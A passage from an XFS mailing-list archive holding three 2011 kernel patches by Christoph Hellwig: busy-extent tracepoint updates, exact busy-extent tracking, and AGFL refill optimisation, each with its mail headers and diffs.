filename=xfs-busy-trace-update X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301346556 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Add new tracepoint for the new busy extent handling helpers, and update the existing ones to use a common class. Also drop the busysearch tracepoint now that a plain busylist search only happens in a debug assert and the FITRIM handler. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/linux-2.6/xfs_trace.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_trace.h 2011-03-28 16:02:55.000000000 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_trace.h 2011-03-28 16:46:51.373340927 +0200 @@ -1151,44 +1151,7 @@ TRACE_EVENT(xfs_bunmap, ); -#define XFS_BUSY_SYNC \ - { 0, "async" }, \ - { 1, "sync" } - -TRACE_EVENT(xfs_alloc_busy, - TP_PROTO(struct xfs_trans *trans, xfs_agnumber_t agno, - xfs_agblock_t agbno, xfs_extlen_t len, int sync), - TP_ARGS(trans, agno, agbno, len, sync), - TP_STRUCT__entry( - __field(dev_t, dev) - __field(struct xfs_trans *, tp) - __field(int, tid) - __field(xfs_agnumber_t, agno) - __field(xfs_agblock_t, agbno) - __field(xfs_extlen_t, len) - __field(int, sync) - ), - TP_fast_assign( - __entry->dev = trans->t_mountp->m_super->s_dev; - __entry->tp = trans; - __entry->tid = trans->t_ticket->t_tid; - __entry->agno = agno; - __entry->agbno = agbno; - __entry->len = len; - __entry->sync = sync; - ), - TP_printk("dev %d:%d trans 0x%p tid 0x%x agno %u agbno %u len %u %s", - MAJOR(__entry->dev), MINOR(__entry->dev), - __entry->tp, - __entry->tid, - __entry->agno, - __entry->agbno, - __entry->len, - __print_symbolic(__entry->sync, XFS_BUSY_SYNC)) - -); - -TRACE_EVENT(xfs_alloc_unbusy, +DECLARE_EVENT_CLASS(xfs_busy_class, TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len), TP_ARGS(mp, agno, agbno, len), @@ -1210,35 +1173,45 @@ TRACE_EVENT(xfs_alloc_unbusy, __entry->agbno, __entry->len) ); +#define DEFINE_BUSY_EVENT(name) \ +DEFINE_EVENT(xfs_busy_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_agblock_t agbno, xfs_extlen_t len), \ + TP_ARGS(mp, agno, agbno, len)) +DEFINE_BUSY_EVENT(xfs_alloc_busy); +DEFINE_BUSY_EVENT(xfs_alloc_busy_enomem); +DEFINE_BUSY_EVENT(xfs_alloc_busy_force); +DEFINE_BUSY_EVENT(xfs_alloc_busy_reuse); +DEFINE_BUSY_EVENT(xfs_alloc_busy_clear); -#define XFS_BUSY_STATES \ - { 0, "missing" }, \ - { 1, "found" } - -TRACE_EVENT(xfs_alloc_busysearch, +TRACE_EVENT(xfs_alloc_busy_trim, TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, - xfs_agblock_t agbno, xfs_extlen_t len, int found), - TP_ARGS(mp, agno, agbno, len, found), + xfs_agblock_t agbno, xfs_extlen_t len, + xfs_agblock_t tbno, xfs_extlen_t tlen), + TP_ARGS(mp, agno, agbno, len, tbno, tlen), TP_STRUCT__entry( __field(dev_t, dev) __field(xfs_agnumber_t, agno) __field(xfs_agblock_t, agbno) __field(xfs_extlen_t, len) - __field(int, found) + __field(xfs_agblock_t, tbno) + __field(xfs_extlen_t, tlen) ), TP_fast_assign( __entry->dev = mp->m_super->s_dev; __entry->agno = agno; __entry->agbno = agbno; __entry->len = len; - __entry->found = found; + __entry->tbno = tbno; + __entry->tlen = tlen; ), - TP_printk("dev %d:%d agno %u agbno %u len %u %s", + TP_printk("dev %d:%d agno %u agbno %u len %u tbno %u tlen %u", MAJOR(__entry->dev), MINOR(__entry->dev), __entry->agno, __entry->agbno, __entry->len, - __print_symbolic(__entry->found, XFS_BUSY_STATES)) + __entry->tbno, + __entry->tlen) ); TRACE_EVENT(xfs_trans_commit_lsn, Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-28 16:14:49.000000000 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-28 16:46:51.397342798 +0200 @@ -2483,7 +2483,7 @@ xfs_alloc_busy_insert( * block, make this a synchronous transaction to insure that * the block is not reused before this transaction commits. */ - trace_xfs_alloc_busy(tp, agno, bno, len, 1); + trace_xfs_alloc_busy_enomem(tp->t_mountp, agno, bno, len); xfs_trans_set_sync(tp); return; } @@ -2495,7 +2495,7 @@ xfs_alloc_busy_insert( INIT_LIST_HEAD(&new->list); /* trace before insert to be able to see failed inserts */ - trace_xfs_alloc_busy(tp, agno, bno, len, 0); + trace_xfs_alloc_busy(tp->t_mountp, agno, bno, len); pag = xfs_perag_get(tp->t_mountp, new->agno); spin_lock(&pag->pagb_lock); @@ -2569,7 +2569,6 @@ xfs_alloc_busy_search( } } spin_unlock(&pag->pagb_lock); - trace_xfs_alloc_busysearch(mp, agno, bno, len, !!match); xfs_perag_put(pag); return match; } @@ -2738,10 +2737,16 @@ restart: fbno, fbno + flen); if (ret != XFS_BUSY_REUSE_OK || userdata) { spin_unlock(&pag->pagb_lock); - if (ret == XFS_BUSY_LOG_FORCE) + if (ret == XFS_BUSY_LOG_FORCE) { + trace_xfs_alloc_busy_force(tp->t_mountp, agno, + fbno, flen); xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); + } goto restart; } + + trace_xfs_alloc_busy_reuse(tp->t_mountp, agno, fbno, flen); + #if 0 /* * No more busy extents to search. @@ -2918,6 +2923,8 @@ xfs_alloc_busy_trim( } spin_unlock(&args->pag->pagb_lock); out: + if (fbno != bno || flen != len) + trace_xfs_alloc_busy_trim(args->mp, args->agno, bno, len, fbno, flen); *rbno = fbno; *rlen = flen; return; @@ -2927,6 +2934,7 @@ fail: * re-check if the trimmed extent satisfies the minlen requirement. */ spin_unlock(&args->pag->pagb_lock); + trace_xfs_alloc_busy_trim(args->mp, args->agno, bno, len, fbno, 0); *rbno = fbno; *rlen = 0; } @@ -2938,15 +2946,15 @@ xfs_alloc_busy_clear( { struct xfs_perag *pag; - trace_xfs_alloc_unbusy(mp, busyp->agno, busyp->bno, - busyp->length); - list_del_init(&busyp->list); pag = xfs_perag_get(mp, busyp->agno); spin_lock(&pag->pagb_lock); - if (busyp->length) + if (busyp->length) { + trace_xfs_alloc_busy_clear(mp, busyp->agno, busyp->bno, + busyp->length); rb_erase(&busyp->rb_node, &pag->pagb_tree); + } spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 16:06:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_63, J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SL65D0185399 for ; Mon, 28 Mar 2011 16:06:06 -0500 X-ASG-Debug-ID: 1301346555-54c902d20000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 844801DEB003 for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id Wn1rEQHB9DZxJPBd for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4JgZ-0001sG-15 for xfs@oss.sgi.com; Mon, 28 Mar 2011 21:09:15 +0000 Message-Id: <20110328210914.996696705@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Mon, 28 Mar 2011 17:06:17 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 3/5] xfs: exact busy extent tracking Subject: [PATCH 3/5] xfs: exact busy extent tracking References: <20110328210614.832613417@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-better-busy-extent-tracking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301346555 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Update the extent tree in case we have to reuse a busy extent, so that it always is kept uptodate. This is done by replacing the busy list searches with a new xfs_alloc_busy_reuse helper, which updates the busy extent tree in case of a reuse. Also replace setting transactions to sync with forcing the log out in case we found a busy extent to reuse. This makes the code a lot more simple, and is required for discard support later on. While it will cause performance regressios with just this patch applied, the impact is more than mitigated by the next patch in the series. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-28 16:06:17.806838570 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-28 16:09:32.489839705 +0200 @@ -1396,8 +1396,8 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { - if (xfs_alloc_busy_search(args->mp, args->agno, fbno, 1)) - xfs_trans_set_sync(args->tp); + xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1); + if (args->userdata) { xfs_buf_t *bp; @@ -2459,100 +2459,6 @@ error0: return error; } - -/* - * AG Busy list management - * The busy list contains block ranges that have been freed but whose - * transactions have not yet hit disk. If any block listed in a busy - * list is reused, the transaction that freed it must be forced to disk - * before continuing to use the block. - * - * xfs_alloc_busy_insert - add to the per-ag busy list - * xfs_alloc_busy_clear - remove an item from the per-ag busy list - * xfs_alloc_busy_search - search for a busy extent - */ - -/* - * Insert a new extent into the busy tree. - * - * The busy extent tree is indexed by the start block of the busy extent. - * there can be multiple overlapping ranges in the busy extent tree but only - * ever one entry at a given start block. The reason for this is that - * multi-block extents can be freed, then smaller chunks of that extent - * allocated and freed again before the first transaction commit is on disk. - * If the exact same start block is freed a second time, we have to wait for - * that busy extent to pass out of the tree before the new extent is inserted. - * There are two main cases we have to handle here. - * - * The first case is a transaction that triggers a "free - allocate - free" - * cycle. This can occur during btree manipulations as a btree block is freed - * to the freelist, then allocated from the free list, then freed again. In - * this case, the second extxpnet free is what triggers the duplicate and as - * such the transaction IDs should match. Because the extent was allocated in - * this transaction, the transaction must be marked as synchronous. This is - * true for all cases where the free/alloc/free occurs in the one transaction, - * hence the addition of the ASSERT(tp->t_flags & XFS_TRANS_SYNC) to this case. - * This serves to catch violations of the second case quite effectively. - * - * The second case is where the free/alloc/free occur in different - * transactions. In this case, the thread freeing the extent the second time - * can't mark the extent busy immediately because it is already tracked in a - * transaction that may be committing. When the log commit for the existing - * busy extent completes, the busy extent will be removed from the tree. If we - * allow the second busy insert to continue using that busy extent structure, - * it can be freed before this transaction is safely in the log. Hence our - * only option in this case is to force the log to remove the existing busy - * extent from the list before we insert the new one with the current - * transaction ID. - * - * The problem we are trying to avoid in the free-alloc-free in separate - * transactions is most easily described with a timeline: - * - * Thread 1 Thread 2 Thread 3 xfslogd - * xact alloc - * free X - * mark busy - * commit xact - * free xact - * xact alloc - * alloc X - * busy search - * mark xact sync - * commit xact - * free xact - * force log - * checkpoint starts - * .... - * xact alloc - * free X - * mark busy - * finds match - * *** KABOOM! *** - * .... - * log IO completes - * unbusy X - * checkpoint completes - * - * By issuing a log force in thread 3 @ "KABOOM", the thread will block until - * the checkpoint completes, and the busy extent it matched will have been - * removed from the tree when it is woken. Hence it can then continue safely. - * - * However, to ensure this matching process is robust, we need to use the - * transaction ID for identifying transaction, as delayed logging results in - * the busy extent and transaction lifecycles being different. i.e. the busy - * extent is active for a lot longer than the transaction. Hence the - * transaction structure can be freed and reallocated, then mark the same - * extent busy again in the new transaction. In this case the new transaction - * will have a different tid but can have the same address, and hence we need - * to check against the tid. - * - * Future: for delayed logging, we could avoid the log force if the extent was - * first freed in the current checkpoint sequence. This, however, requires the - * ability to pin the current checkpoint in memory until this transaction - * commits to ensure that both the original free and the current one combine - * logically into the one checkpoint. If the checkpoint sequences are - * different, however, we still need to wait on a log force. - */ void xfs_alloc_busy_insert( struct xfs_trans *tp, @@ -2564,9 +2470,7 @@ xfs_alloc_busy_insert( struct xfs_busy_extent *busyp; struct xfs_perag *pag; struct rb_node **rbp; - struct rb_node *parent; - int match; - + struct rb_node *parent = NULL; new = kmem_zalloc(sizeof(struct xfs_busy_extent), KM_MAYFAIL); if (!new) { @@ -2583,66 +2487,28 @@ xfs_alloc_busy_insert( new->agno = agno; new->bno = bno; new->length = len; - new->tid = xfs_log_get_trans_ident(tp); - INIT_LIST_HEAD(&new->list); /* trace before insert to be able to see failed inserts */ trace_xfs_alloc_busy(tp, agno, bno, len, 0); pag = xfs_perag_get(tp->t_mountp, new->agno); -restart: spin_lock(&pag->pagb_lock); rbp = &pag->pagb_tree.rb_node; - parent = NULL; - busyp = NULL; - match = 0; - while (*rbp && match >= 0) { + while (*rbp) { parent = *rbp; busyp = rb_entry(parent, struct xfs_busy_extent, rb_node); if (new->bno < busyp->bno) { - /* may overlap, but exact start block is lower */ rbp = &(*rbp)->rb_left; - if (new->bno + new->length > busyp->bno) - match = busyp->tid == new->tid ? 1 : -1; + ASSERT(new->bno + new->length <= busyp->bno); } else if (new->bno > busyp->bno) { - /* may overlap, but exact start block is higher */ rbp = &(*rbp)->rb_right; - if (bno < busyp->bno + busyp->length) - match = busyp->tid == new->tid ? 1 : -1; + ASSERT(bno >= busyp->bno + busyp->length); } else { - match = busyp->tid == new->tid ? 1 : -1; - break; + ASSERT(0); } } - if (match < 0) { - /* overlap marked busy in different transaction */ - spin_unlock(&pag->pagb_lock); - xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); - goto restart; - } - if (match > 0) { - /* - * overlap marked busy in same transaction. Update if exact - * start block match, otherwise combine the busy extents into - * a single range. - */ - if (busyp->bno == new->bno) { - busyp->length = max(busyp->length, new->length); - spin_unlock(&pag->pagb_lock); - ASSERT(tp->t_flags & XFS_TRANS_SYNC); - xfs_perag_put(pag); - kmem_free(new); - return; - } - rb_erase(&busyp->rb_node, &pag->pagb_tree); - new->length = max(busyp->bno + busyp->length, - new->bno + new->length) - - min(busyp->bno, new->bno); - new->bno = min(busyp->bno, new->bno); - } else - busyp = NULL; rb_link_node(&new->rb_node, parent, rbp); rb_insert_color(&new->rb_node, &pag->pagb_tree); @@ -2650,7 +2516,6 @@ restart: list_add(&new->list, &tp->t_busy); spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); - kmem_free(busyp); } /* @@ -2705,6 +2570,162 @@ xfs_alloc_busy_search( } /* + * The found free extent [fbno, fend] overlaps part or all of the given busy + * extent. If the overlap covers the beginning, the end, or all of the busy + * extent, the overlapping portion can be made unbusy and used for the + * allocation. We can't split a busy extent because we can't modify a + * transaction/CIL context busy list, but we can update an entries block + * number or length. + * + * The caller will force the log and re-check the busy list after returning + * from this function. + */ +STATIC void +xfs_alloc_busy_update_extent( + struct xfs_perag *pag, + struct xfs_busy_extent *busyp, + xfs_agblock_t fbno, + xfs_agblock_t fend) +{ + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (bbno < fbno && bend > fend) { + /* + * Case 1: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + */ + + /* + * We would have to split the busy extent to be able to track + * it correct, which we cannot do because we would have to + * modify the list of busy extents attached to the transaction + * or CIL context, which is immutable. + * + * Let the caller force out the log to clear the busy extents + * and retry the search. + */ + } else if (bbno >= fbno && bend <= fend) { + /* + * Case 2: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------+ + * fbno fend + * + * Case 3: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Case 4: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Case 5: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------------------------+ + * fbno fend + * + */ + + /* + * The busy extent is fully covered by the extent we are + * allocating, and can simply be removed from the rbtree. + * However we cannot remove it from the immutable list + * tracking busy extents in the transaction or CIL context, + * so set the length to zero to mark it invalid. + */ + rb_erase(&busyp->rb_node, &pag->pagb_tree); + busyp->length = 0; + } else if (bbno == fbno) { + /* + * Case 6: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + * + * Case 7: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +------------------+ + * fbno fend + * + */ + busyp->bno = fend; + } else if (bend == fend) { + /* + * Case 8: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 9: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +----------------------+ + * fbno fend + */ + + busyp->length = fbno - busyp->bno; + } else { + ASSERT(0); + } +} + + +/* + * For a given extent [fbno, flen], make sure we can reuse it safely. + */ +void +xfs_alloc_busy_reuse( + struct xfs_trans *tp, + xfs_agnumber_t agno, + xfs_agblock_t fbno, + xfs_extlen_t flen) +{ + struct xfs_perag *pag; + struct rb_node *rbp; + + ASSERT(flen > 0); + + pag = xfs_perag_get(tp->t_mountp, agno); + spin_lock(&pag->pagb_lock); + rbp = pag->pagb_tree.rb_node; + while (rbp) { + struct xfs_busy_extent *busyp = + rb_entry(rbp, struct xfs_busy_extent, rb_node); + xfs_agblock_t fend = fbno + flen; + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (fend <= bbno) { + rbp = rbp->rb_left; + continue; + } else if (fbno >= bend) { + rbp = rbp->rb_right; + continue; + } + + xfs_alloc_busy_update_extent(pag, busyp, fbno, fbno + flen); + + spin_unlock(&pag->pagb_lock); + xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); + } + spin_unlock(&pag->pagb_lock); + xfs_perag_put(pag); +} + +/* * For a given extent [fbno, flen], search the busy extent list * to find a subset of the extent that is not busy. */ @@ -2886,14 +2907,12 @@ xfs_alloc_busy_clear( trace_xfs_alloc_unbusy(mp, busyp->agno, busyp->bno, busyp->length); - ASSERT(xfs_alloc_busy_search(mp, busyp->agno, busyp->bno, - busyp->length) == 1); - list_del_init(&busyp->list); pag = xfs_perag_get(mp, busyp->agno); spin_lock(&pag->pagb_lock); - rb_erase(&busyp->rb_node, &pag->pagb_tree); + if (busyp->length) + rb_erase(&busyp->rb_node, &pag->pagb_tree); spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); Index: xfs/fs/xfs/xfs_alloc.h =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.h 2011-03-28 16:06:17.822840017 +0200 +++ xfs/fs/xfs/xfs_alloc.h 2011-03-28 16:06:23.013344460 +0200 @@ -145,6 +145,10 @@ xfs_alloc_busy_clear(struct xfs_mount *m int xfs_alloc_busy_search(struct xfs_mount *mp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len); + +void +xfs_alloc_busy_reuse(struct xfs_trans *tp, xfs_agnumber_t agno, + xfs_agblock_t fbno, xfs_extlen_t flen); #endif /* __KERNEL__ */ /* Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-28 16:06:17.830839717 +0200 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-28 16:06:23.025342125 +0200 @@ -94,8 +94,8 @@ xfs_allocbt_alloc_block( *stat = 0; return 0; } - if (xfs_alloc_busy_search(cur->bc_mp, cur->bc_private.a.agno, bno, 1)) - xfs_trans_set_sync(cur->bc_tp); + + xfs_alloc_busy_reuse(cur->bc_tp, cur->bc_private.a.agno, bno, 1); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-28 16:06:17.842839071 +0200 +++ xfs/fs/xfs/xfs_ag.h 2011-03-28 16:06:23.037341448 +0200 @@ -187,7 +187,6 @@ struct xfs_busy_extent { xfs_agnumber_t agno; xfs_agblock_t bno; xfs_extlen_t length; - xlog_tid_t tid; /* transaction that created this */ }; /* Index: xfs/fs/xfs/xfs_log.c =================================================================== --- xfs.orig/fs/xfs/xfs_log.c 2011-03-28 16:06:17.854837887 +0200 +++ xfs/fs/xfs/xfs_log.c 2011-03-28 16:06:20.390839609 +0200 @@ -3248,13 +3248,6 @@ xfs_log_ticket_get( return ticket; } -xlog_tid_t -xfs_log_get_trans_ident( - struct xfs_trans *tp) -{ - return tp->t_ticket->t_tid; -} - /* * Allocate and initialise a new log ticket. */ Index: xfs/fs/xfs/xfs_log.h =================================================================== --- xfs.orig/fs/xfs/xfs_log.h 2011-03-28 16:06:17.866839600 +0200 +++ xfs/fs/xfs/xfs_log.h 2011-03-28 16:06:20.394838660 +0200 @@ -189,8 +189,6 @@ void xlog_iodone(struct xfs_buf *); struct xlog_ticket *xfs_log_ticket_get(struct xlog_ticket *ticket); void xfs_log_ticket_put(struct xlog_ticket *ticket); -xlog_tid_t xfs_log_get_trans_ident(struct xfs_trans *tp); - void xfs_log_commit_cil(struct xfs_mount *mp, struct xfs_trans *tp, struct xfs_log_vec *log_vector, xfs_lsn_t *commit_lsn, int flags); Index: xfs/fs/xfs/xfs_log_priv.h =================================================================== --- xfs.orig/fs/xfs/xfs_log_priv.h 2011-03-28 16:06:17.878839137 +0200 +++ xfs/fs/xfs/xfs_log_priv.h 2011-03-28 16:06:20.398888649 +0200 @@ -144,6 +144,8 @@ static inline uint xlog_get_client_id(__ #define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ #define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being shutdown */ +typedef __uint32_t xlog_tid_t; + #ifdef __KERNEL__ /* Index: xfs/fs/xfs/xfs_types.h =================================================================== --- xfs.orig/fs/xfs/xfs_types.h 2011-03-28 16:06:17.894838713 +0200 +++ xfs/fs/xfs/xfs_types.h 2011-03-28 16:06:20.402904478 +0200 @@ -73,8 +73,6 @@ typedef __int32_t xfs_tid_t; /* transact typedef __uint32_t xfs_dablk_t; /* dir/attr block number (in file) */ typedef __uint32_t xfs_dahash_t; /* dir/attr hash value */ -typedef __uint32_t xlog_tid_t; /* transaction ID type */ - /* * These types are 64 bits on disk but are either 32 or 64 bits in memory. * Disk based types: From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 16:06:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SL65Lq185395 for ; Mon, 28 Mar 2011 16:06:06 -0500 X-ASG-Debug-ID: 1301346554-40a903ca0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1DAC01DEB003 for ; Mon, 28 Mar 2011 14:09:14 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id Gc3k8HSuGX1jz6v2 for ; Mon, 28 Mar 2011 14:09:14 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4JgY-0001rE-KR for xfs@oss.sgi.com; Mon, 28 Mar 2011 21:09:14 +0000 Message-Id: <20110328210914.594997356@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Mon, 28 Mar 2011 17:06:15 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/5] xfs: optimize AGFL refills Subject: [PATCH 1/5] xfs: optimize AGFL refills References: <20110328210614.832613417@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-optimize-freelist-refills X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301346555 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean While we need to make sure we do not reuse busy extents, there is no need to force out busy extents when moving them between the AGFL and the freespace btree as we still take care of that when doing the real allocation. To avoid the log force when just moving extents from the different free space tracking structures, move the busy search out of xfs_alloc_get_freelist into the callers that need it, and move the busy list insert from xfs_free_ag_extent which is used both by AGFL refills and real allocation to xfs_free_extent, which is only used by the latter. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-27 23:52:29.004480044 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-28 13:42:50.682839138 +0200 @@ -1326,6 +1326,8 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { + if (xfs_alloc_busy_search(args->mp, args->agno, fbno, 1)) + xfs_trans_set_sync(args->tp); if (args->userdata) { xfs_buf_t *bp; @@ -1617,18 +1619,6 @@ xfs_free_ag_extent( trace_xfs_free_extent(mp, agno, bno, len, isfl, haveleft, haveright); - /* - * Since blocks move to the free list without the coordination - * used in xfs_bmap_finish, we can't allow block to be available - * for reallocation and non-transaction writing (user data) - * until we know that the transaction that moved it to the free - * list is permanently on disk. We track the blocks by declaring - * these blocks as "busy"; the busy list is maintained on a per-ag - * basis and each transaction records which entries should be removed - * when the iclog commits to disk. If a busy block is allocated, - * the iclog is pushed up to the LSN that freed the block. - */ - xfs_alloc_busy_insert(tp, agno, bno, len); return 0; error0: @@ -1923,21 +1913,6 @@ xfs_alloc_get_freelist( xfs_alloc_log_agf(tp, agbp, logflags); *bnop = bno; - /* - * As blocks are freed, they are added to the per-ag busy list and - * remain there until the freeing transaction is committed to disk. - * Now that we have allocated blocks, this list must be searched to see - * if a block is being reused. If one is, then the freeing transaction - * must be pushed to disk before this transaction. - * - * We do this by setting the current transaction to a sync transaction - * which guarantees that the freeing transaction is on disk before this - * transaction. This is done instead of a synchronous log force here so - * that we don't sit and wait with the AGF locked in the transaction - * during the log force. - */ - if (xfs_alloc_busy_search(mp, be32_to_cpu(agf->agf_seqno), bno, 1)) - xfs_trans_set_sync(tp); return 0; } @@ -2407,6 +2382,8 @@ xfs_free_extent( be32_to_cpu(XFS_BUF_TO_AGF(args.agbp)->agf_length)); #endif error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); + if (!error) + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); error0: xfs_perag_put(args.pag); return error; Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-27 23:52:29.008480632 +0200 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-28 13:42:49.462839006 +0200 @@ -94,6 +94,8 @@ xfs_allocbt_alloc_block( *stat = 0; return 0; } + if (xfs_alloc_busy_search(cur->bc_mp, cur->bc_private.a.agno, bno, 1)) + xfs_trans_set_sync(cur->bc_tp); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 16:06:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SL65Co185400 for ; Mon, 28 Mar 2011 16:06:06 -0500 X-ASG-Debug-ID: 1301346554-659b02030000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8963015A5E7F for ; Mon, 28 Mar 2011 14:09:14 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id UzQ995rlkblrQcz4 for ; Mon, 28 Mar 2011 14:09:14 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4JgY-0001qe-EJ for xfs@oss.sgi.com; Mon, 28 Mar 2011 21:09:14 +0000 Message-Id: <20110328210614.832613417@bombadil.infradead.org> User-Agent: 